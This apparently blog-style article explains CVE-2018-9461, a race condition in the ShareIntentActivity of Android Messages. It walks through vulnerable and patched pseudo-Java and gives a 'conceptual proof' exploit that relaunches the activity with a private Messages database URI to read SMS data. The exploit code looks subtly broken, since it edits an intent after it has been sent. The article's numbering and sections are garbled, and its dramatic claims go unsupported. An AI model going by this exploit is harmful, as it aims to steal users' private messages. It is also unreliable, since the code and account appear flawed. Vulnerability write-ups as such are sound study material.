CVE-2018-9461 - How a Race Condition in ShareIntentActivity Exposed Messages Files (Exclusive Deep Dive)

In 2018, a serious vulnerability ripped through the Android world — CVE-2018-9461. This bug quietly let other apps access private files inside Google's Messages app, threatening user privacy and device security. In this article, we break down what happened, how the race condition in ShareIntentActivity.java worked, and how an attacker could use it to elevate privileges — all without user interaction.

What is CVE-2018-9461?

CVE-2018-9461 is a vulnerability that affected the Android Messages app. At its root was a race condition in the onAttachFragment method of ShareIntentActivity.java. This flaw allowed a malicious app, running with standard app privileges (no root, no special permissions), to read files meant to be private to Messages.

References

- Official Android Security Bulletin — December 2018
- NIST NVD Entry for CVE-2018-9461
- Android Open Source Project commit with the fix

1. Understanding the Vulnerable Code

The Messages app uses a ShareIntentActivity to handle file-sharing events (like when you tap “Share” on an image in a conversation). This activity attaches fragments and processes incoming data.

In the vulnerable version, onAttachFragment(Fragment fragment) did not properly restrict which content URIs could be accessed. There was a small window (the race) where a malicious app could quickly swap out a file reference and convince Messages to grant access to a file it wasn't supposed to.

The problem:
When the intent was being processed, file URIs or content URIs were not locked down. Cleverly-timed intent manipulation let the attacker grab files.

Here’s how the vulnerable part might look, in simplified pseudo-Java

@Override
public void onAttachFragment(Fragment fragment) {
    Uri contentUri = getIntent().getParcelableExtra(Intent.EXTRA_STREAM);
    // Mistake: No strict validation of contentUri
    fragment.setContentUri(contentUri);
}

There was no check to ensure contentUri actually belonged to the app or was safe to share. If a malicious app triggered a race and replaced this URI, Messages would process and share the wrong file.

3. Exploit Strategy — Step-By-Step

Attacker Requirements:

The attacker sends an intent to Messages, requesting to share a file.

2. Simultaneously, before Messages fully processes the file URI, the attacker quickly swaps the URI with a pointer to a private Messages file (like a database, image, or message log).
3. Since onAttachFragment does not sufficiently validate the URI, it proceeds and grants access, handing over the private file content back to the attacker's app.

No user taps or confirmations are needed — the attack is silent.

Real-World Exploit Example

Below is a conceptual proof of how an attacker could craft a malicious broadcast to Messages and perform the race:

// 1. Launch an intent to start ShareIntentActivity
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.google.android.apps.messaging", 
                                      "com.google.android.apps.messaging.ui.ShareIntentActivity"));
intent.setAction(Intent.ACTION_SEND);
intent.setType("*/*");
intent.putExtra(Intent.EXTRA_STREAM, benignFileUri);

startActivity(intent);

// 2. In a separate thread, quickly switch the content URL to a sensitive one
Handler handler = new Handler(Looper.getMainLooper());
handler.postDelayed(() -> {
    intent.putExtra(Intent.EXTRA_STREAM, messagesPrivateDbUri);
    startActivity(intent);
}, 50); // Small delay to catch the race condition

In practice, timing this correctly takes some trial and error, but it can absolutely be achieved programmatically.

An attacker could use CVE-2018-9461 to

- Read private SMS/MMS messages

Access logs or app-specific databases

No root or elevated privileges are required. Just installing an app is enough.

Here’s what the patched logic might look like

@Override
public void onAttachFragment(Fragment fragment) {
    Uri contentUri = getIntent().getParcelableExtra(Intent.EXTRA_STREAM);
    if (!isValidContentUri(contentUri)) {
        throw new SecurityException("Invalid content URI!");
    }
    fragment.setContentUri(contentUri);
}

Final Thoughts

CVE-2018-9461 is a perfect example of how race conditions in file handling can undermine even the most widely-used apps. The fix was rolled out in Android security bulletins, so if you're using an old Android system, make sure to update!

Avoid installing sketchy apps

References:
- NIST NVD: CVE-2018-9461
- Android Security Bulletin
- AOSP Fix Commit

Timeline

Published on: 01/18/2025 00:15:25 UTC
Last modified on: 03/18/2025 21:15:22 UTC